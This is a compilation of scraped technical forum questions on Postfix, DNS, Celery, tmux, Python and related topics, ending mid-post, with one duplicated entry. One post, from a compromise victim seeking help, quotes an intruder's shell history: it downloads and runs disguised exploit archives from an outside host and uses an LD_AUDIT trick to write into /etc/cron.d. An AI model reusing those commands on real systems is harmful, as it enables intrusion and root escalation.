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• Postfix SMTP-relay server against Gmail on CentOS 6.4

  - by Alex

  I'm currently trying to setup an SMTP-relay server to Gmail with Postfix on a CentOS 6.4 machine, so I can send e-mails from my PHP scripts. I followed this tutorial but I get this error output when trying to do a sendmail [email protected] Output: tail -f /var/log/maillog Apr 16 01:25:54 ext-server-dev01 postfix/cleanup[3646]: 86C2D3C05B0: message-id=<[email protected]> Apr 16 01:25:54 ext-server-dev01 postfix/qmgr[3643]: 86C2D3C05B0: from=<[email protected]>, size=297, nrcpt=1 (queue active) Apr 16 01:25:56 ext-server-dev01 postfix/smtp[3648]: 86C2D3C05B0: to=<[email protected]>, relay=smtp.gmail.com[173.194.79.108]:587, delay=4.8, delays=3.1/0.04/1.5/0.23, dsn=5.5.1, status=bounced (host smtp.gmail.com[173.194.79.108] said: 530-5.5.1 Authentication Required. Learn more at 530 5.5.1 http://support.google.com/mail/bin/answer.py?answer=14257 qh4sm3305629pac.8 - gsmtp (in reply to MAIL FROM command)) Here is my main.cf configuration, I tried a number of different options but nothing seems to work: alias_database = hash:/etc/aliases alias_maps = hash:/etc/aliases command_directory = /usr/sbin config_directory = /etc/postfix daemon_directory = /usr/libexec/postfix data_directory = /var/lib/postfix debug_peer_level = 2 html_directory = no inet_interfaces = localhost inet_protocols = ipv4 mail_owner = postfix mailq_path = /usr/bin/mailq.postfix manpage_directory = /usr/share/man mydestination = $myhostname, localhost.$mydomain, localhost myhostname = host.local.domain myorigin = $myhostname newaliases_path = /usr/bin/newaliases.postfix queue_directory = /var/spool/postfix readme_directory = /usr/share/doc/postfix-2.6.6/README_FILES relayhost = [smtp.gmail.com]:587 sample_directory = /usr/share/doc/postfix-2.6.6/samples sendmail_path = /usr/sbin/sendmail.postfix setgid_group = postdrop smtp_sasl_auth_enable = yes smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd smtp_sasl_security_options = noanonymous smtp_sasl_tls_security_options = noanonymous smtp_sasl_type = cyrus smtp_tls_CAfile = /etc/ssl/certs/ca-bundle.crt smtp_use_tls = yes smtpd_sasl_path = smtpd unknown_local_recipient_reject_code = 550 In the /etc/postfix/sasl_passwd files (sasl_passwd & sasl_passwd.db) I got the following (removed the real password, and replaced it with "password"): [smtp.google.com]:587 [email protected]:password To create the sasl_passwd.db file, I did that by running this command: postmap hash:/etc/postfix/sasl_passwd Do anybody got an idea why I can't seem to send an e-mail from the server? Kind Regards Alex

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• Ubuntu Server hack

  - by haxpanel

  Hi! I looked at netstat and I noticed that someone besides me is connected to the server by ssh. I looked after this because my user has the only one ssh access. I found this in an ftp user .bash_history file: w uname -a ls -a sudo su wget qiss.ucoz.de/2010/.jpg wget qiss.ucoz.de/2010.jpg tar xzvf 2010.jpg rm -rf 2010.jpg cd 2010/ ls -a ./2010 ./2010x64 ./2.6.31 uname -a ls -a ./2.6.37-rc2 python rh2010.py cd .. ls -a rm -rf 2010/ ls -a wget qiss.ucoz.de/ubuntu2010_2.jpg tar xzvf ubuntu2010_2.jpg rm -rf ubuntu2010_2.jpg ./ubuntu2010-2 ./ubuntu2010-2 ./ubuntu2010-2 cat /etc/issue umask 0 dpkg -S /lib/libpcprofile.so ls -l /lib/libpcprofile.so LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping ping gcc touch a.sh nano a.sh vi a.sh vim wget qiss.ucoz.de/ubuntu10.sh sh ubuntu10.sh nano ubuntu10.sh ls -a rm -rf ubuntu10.sh . .. a.sh .cache ubuntu10.sh ubuntu2010-2 ls -a wget qiss.ucoz.de/ubuntu10.sh sh ubuntu10.sh ls -a rm -rf ubuntu10.sh wget http://download.microsoft.com/download/win2000platform/SP/SP3/NT5/EN-US/W2Ksp3.exe rm -rf W2Ksp3.exe passwd The system is in a jail. Does it matter in the current case? What shall i do? Thanks for everyone!! I have done these: - ban the connected ssh host with iptables - stoped the sshd in the jail - saved: bach_history, syslog, dmesg, files in the bash_history's wget lines

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• Comparing 2 (or 3 Files If Possible) "Line By Line"

  - by PythEch

  I want to find out the differences of 2 (or 3 files if possible) line by line. Diff utils can do this, however it gives inaccurate results. Because, 2 files have exact number of lines which is "134". But diff gives me "Added Lines" and "Removed Lines". However this is wrong, they have exact the same number of lines, there is no added or removed lines. The text files which I want to find differences of them, have only numbers written, maybe that's why that algortihm fails. I couldn't find any option to prevent that, however I may be wrong, I mean there should be an option for that, but again, I couldn't find. This is what I get (5am.txt vs 6am.txt, there is a huge problem): This is what I want (6am.txt vs 7am.txt, still has problems): But, first the first image still has this problem, at the last lines. Edit: After I figured out that there is no utility to do this, I handled myself. I almost did the same thing as what RedGrittyBrick have done. This script imitates diff utility so I (or you) can use it with diff2html. To use it with diff2html, just change line diff_stdout = os.popen("diff %s" % string.join(argv[1:]), "r") to diff_stdout = os.popen("script.py %s" % string.join(argv[1:]), "r") and name this script whatever you want: import sys f1=open(sys.argv[1],"r") f1_read=f1.readlines() f1.close() f2=open(sys.argv[2],"r") f2_read=f2.readlines() f2.close() changed={} first_c = "" for n in range(len(f1_read)): if f1_read[n]!=f2_read[n]: if first_c == "": first_c=n+1 changed[first_c]=n+1 else: first_c="" #Let's imitate diff-utils... for (x, y) in changed.items(): print "%d,%dc%d,%d" % (x,y,x,y) for i in range(x,y+1): sys.stdout.write("< %s" % f1_read[i-1]) print "---" for i in range(x,y+1): sys.stdout.write("> %s" % f2_read[i-1]) Final results:

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• Where to put the SPF TXT record?

  - by YellowSquirrel

  I've set up Google apps for my domain: I've registered the domain with Google by adding the CNAME Google asked and I've apparently succesfully setup the MX Google mail servers. So far I haven't yet a dedicated server: I'm just having a domain at a registrar. Now I want to activate SPF and I'm confused. In the following short webpage: http://www.google.com/support/a/bin/answer.py?answer=178723 it is written that I must add a TXT record containing: v=spf1 include:_spf.google.com ~all Where should I enter this? Should this go in the zone (?) file, like I did for the CNAME and the MX records? So far I have something like this: @ 10800 IN A 217.42.42.42 @ 10800 IN MX 5 ASPMX3.GOOGLEMAIL.COM. @ 10800 IN MX 5 ASPMX2.GOOGLEMAIL.COM. @ 10800 IN MX 3 ALT2.ASPMX.L.GOOGLE.COM. @ 10800 IN MX 3 ALT1.ASPMX.L.GOOGLE.COM. @ 10800 IN MX 1 ASPMX.L.GOOGLE.COM. google8a70835987f31e34 10800 IN CNAME google.com. Does adding the SPF TXT record mean I should literally have something like that: @ 10800 IN A 217.42.42.42 @ 10800 IN MX 5 ASPMX3.GOOGLEMAIL.COM. @ 10800 IN MX 5 ASPMX2.GOOGLEMAIL.COM. @ 3600 IN TXT "v=spf1 include:_spf.google.com ~all" @ 10800 IN MX 3 ALT2.ASPMX.L.GOOGLE.COM. @ 10800 IN MX 3 ALT1.ASPMX.L.GOOGLE.COM. @ 10800 IN MX 1 ASPMX.L.GOOGLE.COM. google8a70835987f31e34 10800 IN CNAME google.com. I made that one up and included right in the middle to show how confused I am. What I'd like to know is the exact syntax and where/how I should put this TXT record.

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• Celery daemon as a Ubuntu service does not consume tasks while running from terminal does

  - by Guy

  On Ubuntu 11.10, I have to issue python tasks from django using celery. I'm currently testing on the same machine but eventually the celery worker should run on a remote machine. django uses the following settings: BROKER_HOST = "127.0.0.1" BROKER_PORT = 5672 BROKER_VHOST = "/my_vhost" BROKER_USER = "celery" BROKER_PASSWORD = "celery" I can also see my task queued in http://localhost:55672/#/queues the celery daemon uses the following configuration (celeryconfig.py): BROKER_HOST = "127.0.0.1" BROKER_PORT = 5672 BROKER_USER = "celery" BROKER_PASSWORD = "celery" BROKER_VHOST = "/my_vhost" CELERY_RESULT_BACKEND = "amqp" import os import sys sys.path.append(os.getcwd()) CELERY_IMPORTS = ("tasks", ) running celeryd -l info works well and now I want to run it as a service. I've followed the instructions from http://ask.github.com/celery/cookbook/daemonizing.html and now I'm trying to run it using: sudo /etc/init.d/celeryd start But the message is not being consumed, no error in the celery log either. /etc/default/celeryd CELERYD_NODES="w1" CELERYD_CHDIR="/path/to/django/project" CELERYD_OPTS="--time-limit=300 --concurrency=1" CELERY_CONFIG_MODULE="celeryconfig" # %n will be replaced with the nodename. CELERYD_LOG_FILE="/var/log/celery/%n.log" CELERYD_PID_FILE="/var/run/celery/%n.pid" # Workers should run as an unprivileged user. CELERYD_USER="celery" CELERYD_GROUP="celery" I've also created user celery in Ubuntu not sure if its necessary. Any help will be appreciated, Thanks, Guy

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• Business Case for investing time developing Stubs and BizUnit Tests

  - by charlie.mott

  I was recently in a position where I had to justify why effort should be spent developing Stubbed Integration Tests for BizTalk solutions. These tests are usually developed using the BizUnit framework. I assumed that most seasoned BizTalk developers would consider this best practice. Even though Microsoft suggest use of BizUnit on MSDN, I've not found a single site listing the justifications for investing time writing stubs and BizUnit tests. Stubs Stubs should be developed to isolate your development team from external dependencies. This is described by Michael Stephenson here. Failing to do this can result in the following problems: In contract-first scenarios, the external system interface will have been defined.  But the interface may not have been setup or even developed yet for the BizTalk developers to work with. By the time you open the target location to see the data BizTalk has sent, it may have been swept away. If you are relying on the UI of the target system to see the data BizTalk has sent, what do you do if it fails to arrive? It may take time for the data to be processed or it may be scheduled to be processed later. Learning how to use the source\target systems and investigations into where things go wrong in these systems will slow down the BizTalk development effort. By the time the data is visible in a UI it may have undergone further transformations. In larger development teams working together, do you all use the same source and target instances. How do you know which data was created by whose tests? How do you know which event log error message are whose?  Another developer may have “cleaned up” your data. It is harder to write BizUnit tests that clean up the data\logs after each test run. What if your B2B partners' source or target system cannot support the sort of testing you want to do. They may not even have a development or test instance that you can work with. Their single test instance may be used by the SIT\UAT teams. There may be licencing costs of setting up an instances of the external system. The stubs I like to use are generic stubs that can accept\return any message type.  Usually I need to create one per protocol. They should be driven by BizUnit steps to: validates the data received; and select a response messages (or error response). Once built, they can be re-used for many integration tests and from project to project. I’m not saying that developers should never test against a real instance.  Every so often, you still need to connect to real developer or test instances of the source and target endpoints\services. The interface developers may ask you to send them some data to see if everything still works.  Or you might want some messages sent to BizTalk to get confidence that everything still works beyond BizTalk. Tests Automated “Stubbed Integration Tests” are usually built using the BizUnit framework. These facilitate testing of the entire integration process from source stub to target stub. It will ensure that all of the BizTalk components are configured together correctly to meet all the requirements. More fine grained unit testing of individual BizTalk components is still encouraged.  But BizUnit provides much the easiest way to test some components types (e.g. Orchestrations). Using BizUnit with the Behaviour Driven Development approach described by Mike Stephenson delivers the following benefits: source: http://biztalkbddsample.codeplex.com – Video 1. Requirements can be easily defined using Given/When/Then Requirements are close to the code so easier to manage as features and scenarios Requirements are defined in domain language The feature files can be used as part of the documentation The documentation is accurate to the build of code and can be published with a release The scenarios are effective to document the scenarios and are not over excessive The scenarios are maintained with the code There’s an abstraction between the intention and implementation of tests making them easier to understand The requirements drive the testing These same tests can also be used to drive load testing as described here. If you don't do this ... If you don't follow the above “Stubbed Integration Tests” approach, the developer will need to manually trigger the tests. This has the following risks: Developers are unlikely to check all the scenarios each time and all the expected conditions each time. After the developer leaves, these manual test steps may be lost. What test scenarios are there?  What test messages did they use for each scenario? There is no mechanism to prove adequate test coverage. A test team may attempt to automate integration test scenarios in a test environment through the triggering of tests from a source system UI. If this is a replacement for BizUnit tests, then this carries the following risks: It moves the tests downstream, so problems will be found later in the process. Testers may not check all the expected conditions within the BizTalk infrastructure such as: event logs, suspended messages, etc. These automated tests may also get in the way of manual tests run on these environments.

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• (help help!!!) Easy_install the wrong version of python modules (Mac OS)

  - by user71415

  I installed Python 2.7 in my mac. When typing "python" in terminal, it shows: Ma-Xiaolongs-MacBook-Pro-2:~ MaXiaolong$ python Python 2.7 (r27:82508, Jul 3 2010, 20:17:05) [GCC 4.0.1 (Apple Inc. build 5493)] on darwin Type "help", "copyright", "credits" or "license" for more information. The Python version is correct here. But when I try to easy_install some modules. The system will install the modules with python version 2.6 which are not able be imported to Python 2.7. And of course I can not do the functions I need in my code. Here's an example of easy_install graphy: Ma-Xiaolongs-MacBook-Pro-2:~ MaXiaolong$ easy_install graphy Searching for graphy Reading pypi.python.org/simple/graphy/ Reading http://code.google.com/p/graphy/ Best match: Graphy 1.0.0 Downloading http://pypi.python.org/packages/source/G/Graphy/Graphy- 1.0.0.tar.gz#md5=390b4f9194d81d0590abac90c8b717e0 Processing Graphy-1.0.0.tar.gz Running Graphy-1.0.0/setup.py -q bdist_egg --dist-dir /var/folders/fH/fHwdy4WtHZOBytkg1nOv9E+++TI/-Tmp-/easy_install-cFL53r/Graphy-1.0.0/egg-dist-tmp-YtDCZU warning: no files found matching '.tmpl' under directory 'graphy' warning: no files found matching '.txt' under directory 'graphy' warning: no files found matching '.h' under directory 'graphy' warning: no previously-included files matching '.pyc' found under directory '.' warning: no previously-included files matching '~' found under directory '.' warning: no previously-included files matching '.aux' found under directory '.' zip_safe flag not set; analyzing archive contents... graphy.all_tests: module references file Adding Graphy 1.0.0 to easy-install.pth file Installed /Library/Python/2.6/site-packages/Graphy-1.0.0-py2.6.egg Processing dependencies for graphy Finished processing dependencies for graphy So it installs graphy for python 2.6. Can someone help me with it? I just want to set my default easy_install version as 2.7... Thank you very much!!!!!!

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• Django apache + mod_wsgi with virtualenv

  - by ArgsKwargs

  I have some questions running multiple Django sites on a VPS I have a server that uses openPanel to automatically create VirtualHosts within apache2. My ideal situation is that I would have multiple virtualenvs with different dependencies installed so the python dist-packages directory isn't contaminated for different Django sites. For example: /home/user/virtualenv1 /home/user/virtualenv2 My django applications reside at /var/www, so For example: /var/www/djangosite1 /var/www/djangosite2 Now I've read upon openPanel docs and figured out the best thing todo is create a django.conf file inside the mydomain.com.inc folder, which looks something like: /etc/apache2/openpanel.d/mydomain.com.inc/django.conf DocumentRoot /var/www/djangosite1/project WSGIScriptAlias / /var/www/djangosite1/project/wsgi.py WSGIDaemonProcess mydomain python-path=/home/user/virtualenv1/lib/python2.6/site-packages <Directory /var/www/djangosite1/project> Order allow,deny Allow from all </Directory> Alias /static /var/www/djangosite1/project/static-root Now my problem is that this setup seems unable to find the virtualenv site-packages thus not recognizing any dependencies available in the given virtualenv Also, commenting out this line doesn't seem to break or change a thing: WSGIDaemonProcess mydomain python-path=/home/user/virtualenv1/lib/python2.6/site-packages For example: > service apache2 start ImportError: No module named South When I install South outside the virtualenv everything works

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• Mailman delivery troubles

  - by stanigator

  I have apparently posted at the wrong place (superuser.com) for this question, so I'll just repost it here. Hope those of you who read both sites are not going to be offended. It's about mailing list management software called Mailman from GNU. Here are the details: Hosting provider: Vlexofree Domain: www.sysil.com with Google Apps Mailing List created from hosting cpanel: [email protected] I have registered a list of subscribers, and tried sending an email to [email protected]. I got the following error message: Delivery to the following recipient failed permanently: [email protected] Technical details of permanent failure: Google tried to deliver your message, but it was rejected by the recipient domain. We recommend contacting the other email provider for further information about the cause of this error. The error that the other server returned was: 550 550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 http://mail.google.com/support/bin/answer.py?answer=6596 23si6479194ewy.44 (state 14). ----- Original message ----- MIME-Version: 1.0 Received: by 10.216.90.136 with SMTP id e8mr1469147wef.110.1264220118960; Fri, 22 Jan 2010 20:15:18 -0800 (PST) Date: Fri, 22 Jan 2010 20:15:18 -0800 Message-ID: <[email protected]> Subject: From: Stanley Lee <[email protected]> To: [email protected] Content-Type: multipart/alternative; boundary=0016e6dab0931bccc3047dcd2f1e - Show quoted text - Is there any way of fixing this problem? I would like to be able to have this mailing list to work through my hosting and domain. Thanks in advance.

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• Configure IIS to pass-through CGI output without any conditioning

  - by Daniel Watrous

  I'm building a web service on Windows 2008 R2 with IIS 7.5 and Python 2.5. Right now I have the Handler Mappings and everything else setup just fine, Except that IIS is modifying what it gets back from the CGI script before sending it along the the client. Here's an example: I wrote the following CGI script: # hello.py print "Status: 400 Bad Request" print "Content-Type: text/html" print print "Error Message" According to the HTTP spec this should be fine and a Status of 400 should allow for a description of the error message in the body of the response. When the server response actually comes back to me I get the following: Status: 400 Bad Request Date: Fri, 11 Feb 2011 17:58:30 GMT X-Powered-By: ASP.NET Connection: close Content-Length: 11 Server: Microsoft-IIS/7.5 Content-Type: text/html Bad Request I've seen on this forum and others where I can change or eliminate the X-Powered-By header element, but I would like IIS to leave it alone altogether. I'm not sure why it takes my response, deletes "Error Message" from the body and replaces it with "Bad Request" and then adds all that other junk in. Is there some way to tell IIS to just send the response along without making any changes at all?

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• Lesi, from Graduate Trainee to Territory Manager

  - by Maria Sandu

  Normal 0 false false false EN-US X-NONE X-NONE MicrosoftInternetExplorer4 It’s the final year, University is now coming to an end. A new chapter now awaits my arrival. This part of my life is called “Looking for a Job”. With no form of experience whatsoever, getting a job at a well renowned IT company is something that every IT student dreams about. CV: v, Application form: v, interviews: v. Acceptance Call, “Lesi I’m pleased to inform you that you have been accepted to be part of the Oracle Graduate Program for 2012”. Life would never again be the same. Being Part of the Graduate Program Going into the Graduate program, I felt like a baby seeing candy for the first time. The Program gave me the platform to not only break in to the workplace but also to help launch my career. Over the next 3 months, I went through various trainings / workshops / events / coaching / mentorship sessions. Like a construction worker building a solid foundation for a beautifully designed architecture, a clear path to build my career was set. With training out the way, it was now time to start working closely with my team. For the rest of the year, it was all about selling. Sales, Pipeline, Forecasting and numbers soon became the common words in my career. As the saying goes, “once a sales man, always a sales man”. There was no turning back now, a career in sales was the new hustle in my life. I worked closely with my mentor & coach (Ibrahim) who was heading up Zambia and Malawi. This was to be one of my best moments in the program as I started engaging with customers and getting some hands on experience in the field. By the end of the program all the experience, hard work, training and resources came in handy as I was now ready and fully groomed to be a sales rep. Life after the Graduate Program I’m proud to say that now I’m a Territory Manager, heading up Malawi, selling Technology, Middleware & Applications across all industries. I’m part of the Transition Cluster Team, a powerful team headed by the seasoned Senior Director. As a Territory Manager my role is to push for coverage, to penetrate the market by selling Oracle from end- to- end to all accounts in Malawi. I now spend my days living out of a suitcase, moving from hotel to hotel, chasing after business in all areas of Malawi. It’s the life of a Sales Man and I’m enjoying every minute of it. I’m truly fortunate and grateful to have been part of such a wonderful graduate program. I owe my Sales career to the graduate program, and I truly hope that the program will continue to develop and to groom new talent amongst the youth of this world. If you're interested in joining the Graduate Program in South Africa keep an eye on our CampusatOracle Facebook Page page to get the latest updates! /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority:99; mso-style-qformat:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin-top:0in; mso-para-margin-right:0in; mso-para-margin-bottom:10.0pt; mso-para-margin-left:0in; line-height:115%; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:"Times New Roman"; mso-fareast-theme-font:minor-fareast; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;}

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• Compatibility of Fedora install on a Hybrid drive

  - by kjh

  I recently bought un ultrabook with a 500gb/32gb sdd hdd hybrid drive, and I'm having trouble replacing windows on it with fedora seventeen. it errors out saying there was an unhandled exception. Is linux compatible with hybrid drives? or can the operating system on a hybrid drive not be replaced? Edit: here are the steps I select special storage devices because it ignores my hard drives otherwise at this point i get the message: "Disk contains bios raid meta data, disk sda will be ignored" I can pick a hostname, select my timezone and set a password at the install type screen, no matter what I select (use all free space, replace linux systems, create custom partition etc..) once I click next, it says "an unhandled exception" has occured. and I can no longer proceed with installation. Here is the error message: anaconda 17.29 exception report Traceback (most recent call first); File "/usr/lib64/python2.7/size-packages/pyanaconda/bootloader.py"; line 183 self.stage1_drive=self_drives[0] File "/usr/lib64/python2.7/site-packages/pyanaconda/rw/cleardisks_gui.ph"; line... and tons of more lines like that

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• Customizing tmux status to represent current working directory and files

  - by user69397

  I've been playing with this for a couple of days, so I'm sure I'm missing something simple. Love tmux. Using it for development and have so many windows I need a better way of distinguishing them in the status bar and in the buffer list. Seeing a list of "bash" and "vim" isn't really helpful at all. And since they're all on the same host - don't care about the hostname right now. I'd like to show the current working directory, and the file being worked on. For example when I view the list of buffers I currently see: (0) 0: vim [100x44] (1 panes) "murph" (1) 1: vim [100x44] (1 panes) "murph" (2) 2: bash- [100x44] (1 panes) "murph" (3) 3: bash* [100x44] (1 panes) "murph" Here's what I'd like to see 0:vim main.py ~/devl/project1 1:vim index.html ~/devl/samples/staticfiles 2:bash ~/devl/sandbox 3:bash ~/.vimrc I'd like to see similar info in the status bar for each individual window. While I am able to get PWD to show up in the status bar of a window, it's only the working directory from where tmux was launched. This isn't any help as I change directories. I'm hoping this can be done without a bunch of scripts. Thanks all.

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• Python 2.7 and Ubuntu 10.10: X11 fails

  - by c.a.p.

  Against every recommendation I have apt-get remove python in Ubuntu 10.10 (build 2.6.24-29-server x86_64) and apt-get install python2.7 Some built-in software with python2.6 dependencies (like firefox, other minor stuff) was fixed just by apt-get reinstalling or reinstalling from source and the system was stable for one day until I rebooted. Upon booting I got the message "ubuntu is running in low-graphics mode" I have an NVIDIA Quadro NVS 295 256 running on a HP Z600 Workstation so I sudoed: apt-get --purged nvidia* apt-get --purged xserver apt-get install linux-headers-generic apt-get install nvidia-* apt-get install xserver-xorg dpkg-reconfigure xserver-xorg nvidia-xconfig upon rebooting i get the same "ubuntu is running in low-graphics mode" if I decide to tell the boot menu to restart X, the Ubuntu 10.10 "load screen" shows up and does not do anything for hours. If I "X" the screen remains black for hours; ctrl-c shows that /etc/X11/xorg.conf did not produce any errors just a warning "Type "ONE_LEVEL"...". /var/log/Xorg.0.log issues the following warnings (no errors) (WW) AllowEmptyInput is on (WW) NVIDIA(0): UBB is incompatible If I "startX" I get /usr/bin/python: can't find '__main__.py"' in '/usr/share/command-not-found' Before re-installing xserver-xorg however "startX" ran, just by changing the resolution of the tty1 console. Any hints?

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• Customizing tmux status to represent current working directory and files

  - by user69397

  I've been playing with this for a couple of days, so I'm sure I'm missing something simple. Love tmux. Using it for development and have so many windows I need a better way of distinguishing them in the status bar and in the buffer list. Seeing a list of "bash" and "vim" isn't really helpful at all. And since they're all on the same host - don't care about the hostname right now. I'd like to show the current working directory, and the file being worked on. For example when I view the list of buffers I currently see: (0) 0: vim [100x44] (1 panes) "murph" (1) 1: vim [100x44] (1 panes) "murph" (2) 2: bash- [100x44] (1 panes) "murph" (3) 3: bash* [100x44] (1 panes) "murph" Here's what I'd like to see 0:vim main.py ~/devl/project1 1:vim index.html ~/devl/samples/staticfiles 2:bash ~/devl/sandbox 3:bash ~/.vimrc I'd like to see similar info in the status bar for each individual window. While I am able to get PWD to show up in the status bar of a window, it's only the working directory from where tmux was launched. This isn't any help as I change directories. I'm hoping this can be done without a bunch of scripts. Thanks all.

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• Solving embarassingly parallel problems using Python multiprocessing

  - by gotgenes

  How does one use multiprocessing to tackle embarrassingly parallel problems? Embarassingly parallel problems typically consist of three basic parts: Read input data (from a file, database, tcp connection, etc.). Run calculations on the input data, where each calculation is independent of any other calculation. Write results of calculations (to a file, database, tcp connection, etc.). We can parallelize the program in two dimensions: Part 2 can run on multiple cores, since each calculation is independent; order of processing doesn't matter. Each part can run independently. Part 1 can place data on an input queue, part 2 can pull data off the input queue and put results onto an output queue, and part 3 can pull results off the output queue and write them out. This seems a most basic pattern in concurrent programming, but I am still lost in trying to solve it, so let's write a canonical example to illustrate how this is done using multiprocessing. Here is the example problem: Given a CSV file with rows of integers as input, compute their sums. Separate the problem into three parts, which can all run in parallel: Process the input file into raw data (lists/iterables of integers) Calculate the sums of the data, in parallel Output the sums Below is traditional, single-process bound Python program which solves these three tasks: #!/usr/bin/env python # -*- coding: UTF-8 -*- # basicsums.py """A program that reads integer values from a CSV file and writes out their sums to another CSV file. """ import csv import optparse import sys def make_cli_parser(): """Make the command line interface parser.""" usage = "\n\n".join(["python %prog INPUT_CSV OUTPUT_CSV", __doc__, """ ARGUMENTS: INPUT_CSV: an input CSV file with rows of numbers OUTPUT_CSV: an output file that will contain the sums\ """]) cli_parser = optparse.OptionParser(usage) return cli_parser def parse_input_csv(csvfile): """Parses the input CSV and yields tuples with the index of the row as the first element, and the integers of the row as the second element. The index is zero-index based. :Parameters: - `csvfile`: a `csv.reader` instance """ for i, row in enumerate(csvfile): row = [int(entry) for entry in row] yield i, row def sum_rows(rows): """Yields a tuple with the index of each input list of integers as the first element, and the sum of the list of integers as the second element. The index is zero-index based. :Parameters: - `rows`: an iterable of tuples, with the index of the original row as the first element, and a list of integers as the second element """ for i, row in rows: yield i, sum(row) def write_results(csvfile, results): """Writes a series of results to an outfile, where the first column is the index of the original row of data, and the second column is the result of the calculation. The index is zero-index based. :Parameters: - `csvfile`: a `csv.writer` instance to which to write results - `results`: an iterable of tuples, with the index (zero-based) of the original row as the first element, and the calculated result from that row as the second element """ for result_row in results: csvfile.writerow(result_row) def main(argv): cli_parser = make_cli_parser() opts, args = cli_parser.parse_args(argv) if len(args) != 2: cli_parser.error("Please provide an input file and output file.") infile = open(args[0]) in_csvfile = csv.reader(infile) outfile = open(args[1], 'w') out_csvfile = csv.writer(outfile) # gets an iterable of rows that's not yet evaluated input_rows = parse_input_csv(in_csvfile) # sends the rows iterable to sum_rows() for results iterable, but # still not evaluated result_rows = sum_rows(input_rows) # finally evaluation takes place as a chain in write_results() write_results(out_csvfile, result_rows) infile.close() outfile.close() if __name__ == '__main__': main(sys.argv[1:]) Let's take this program and rewrite it to use multiprocessing to parallelize the three parts outlined above. Below is a skeleton of this new, parallelized program, that needs to be fleshed out to address the parts in the comments: #!/usr/bin/env python # -*- coding: UTF-8 -*- # multiproc_sums.py """A program that reads integer values from a CSV file and writes out their sums to another CSV file, using multiple processes if desired. """ import csv import multiprocessing import optparse import sys NUM_PROCS = multiprocessing.cpu_count() def make_cli_parser(): """Make the command line interface parser.""" usage = "\n\n".join(["python %prog INPUT_CSV OUTPUT_CSV", __doc__, """ ARGUMENTS: INPUT_CSV: an input CSV file with rows of numbers OUTPUT_CSV: an output file that will contain the sums\ """]) cli_parser = optparse.OptionParser(usage) cli_parser.add_option('-n', '--numprocs', type='int', default=NUM_PROCS, help="Number of processes to launch [DEFAULT: %default]") return cli_parser def main(argv): cli_parser = make_cli_parser() opts, args = cli_parser.parse_args(argv) if len(args) != 2: cli_parser.error("Please provide an input file and output file.") infile = open(args[0]) in_csvfile = csv.reader(infile) outfile = open(args[1], 'w') out_csvfile = csv.writer(outfile) # Parse the input file and add the parsed data to a queue for # processing, possibly chunking to decrease communication between # processes. # Process the parsed data as soon as any (chunks) appear on the # queue, using as many processes as allotted by the user # (opts.numprocs); place results on a queue for output. # # Terminate processes when the parser stops putting data in the # input queue. # Write the results to disk as soon as they appear on the output # queue. # Ensure all child processes have terminated. # Clean up files. infile.close() outfile.close() if __name__ == '__main__': main(sys.argv[1:]) These pieces of code, as well as another piece of code that can generate example CSV files for testing purposes, can be found on github. I would appreciate any insight here as to how you concurrency gurus would approach this problem. Here are some questions I had when thinking about this problem. Bonus points for addressing any/all: Should I have child processes for reading in the data and placing it into the queue, or can the main process do this without blocking until all input is read? Likewise, should I have a child process for writing the results out from the processed queue, or can the main process do this without having to wait for all the results? Should I use a processes pool for the sum operations? If yes, what method do I call on the pool to get it to start processing the results coming into the input queue, without blocking the input and output processes, too? apply_async()? map_async()? imap()? imap_unordered()? Suppose we didn't need to siphon off the input and output queues as data entered them, but could wait until all input was parsed and all results were calculated (e.g., because we know all the input and output will fit in system memory). Should we change the algorithm in any way (e.g., not run any processes concurrently with I/O)?

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• Dealing with external processes

  - by Jesse Aldridge

  I've been working on a gui app that needs to manage external processes. Working with external processes leads to a lot of issues that can make a programmer's life difficult. I feel like maintenence on this app is taking an unacceptably long time. I've been trying to list the things that make working with external processes difficult so that I can come up with ways of mitigating the pain. This kind of turned into a rant which I thought I'd post here in order to get some feedback and to provide some guidance to anybody thinking about sailing into these very murky waters. Here's what I've got so far: Output from the child can get mixed up with output from the parent. This can make both outputs misleading and hard to read. It can be hard to tell what came from where. It becomes harder to figure out what's going on when things are asynchronous. Here's a contrived example: import textwrap, os, time from subprocess import Popen test_path = 'test_file.py' with open(test_path, 'w') as file: file.write(textwrap.dedent(''' import time for i in range(3): print 'Hello %i' % i time.sleep(1)''')) proc = Popen('python -B "%s"' % test_path) for i in range(3): print 'Hello %i' % i time.sleep(1) os.remove(test_path) I guess I could have the child process write its output to a file. But it can be annoying to have to open up a file every time I want to see the result of a print statement. If I have code for the child process I could add a label, something like print 'child: Hello %i', but it can be annoying to do that for every print. And it adds some noise to the output. And of course I can't do it if I don't have access to the code. I could manually manage the process output. But then you open up a huge can of worms with threads and polling and stuff like that. A simple solution is to treat processes like synchronous functions, that is, no further code executes until the process completes. In other words, make the process block. But that doesn't work if you're building a gui app. Which brings me to the next problem... Blocking processes cause the gui to become unresponsive. import textwrap, sys, os from subprocess import Popen from PyQt4.QtGui import * from PyQt4.QtCore import * test_path = 'test_file.py' with open(test_path, 'w') as file: file.write(textwrap.dedent(''' import time for i in range(3): print 'Hello %i' % i time.sleep(1)''')) app = QApplication(sys.argv) button = QPushButton('Launch process') def launch_proc(): # Can't move the window until process completes proc = Popen('python -B "%s"' % test_path) proc.communicate() button.connect(button, SIGNAL('clicked()'), launch_proc) button.show() app.exec_() os.remove(test_path) Qt provides a process wrapper of its own called QProcess which can help with this. You can connect functions to signals to capture output relatively easily. This is what I'm currently using. But I'm finding that all these signals behave suspiciously like goto statements and can lead to spaghetti code. I think I want to get sort-of blocking behavior by having the 'finished' signal from QProcess call a function containing all the code that comes after the process call. I think that should work but I'm still a bit fuzzy on the details... Stack traces get interrupted when you go from the child process back to the parent process. If a normal function screws up, you get a nice complete stack trace with filenames and line numbers. If a subprocess screws up, you'll 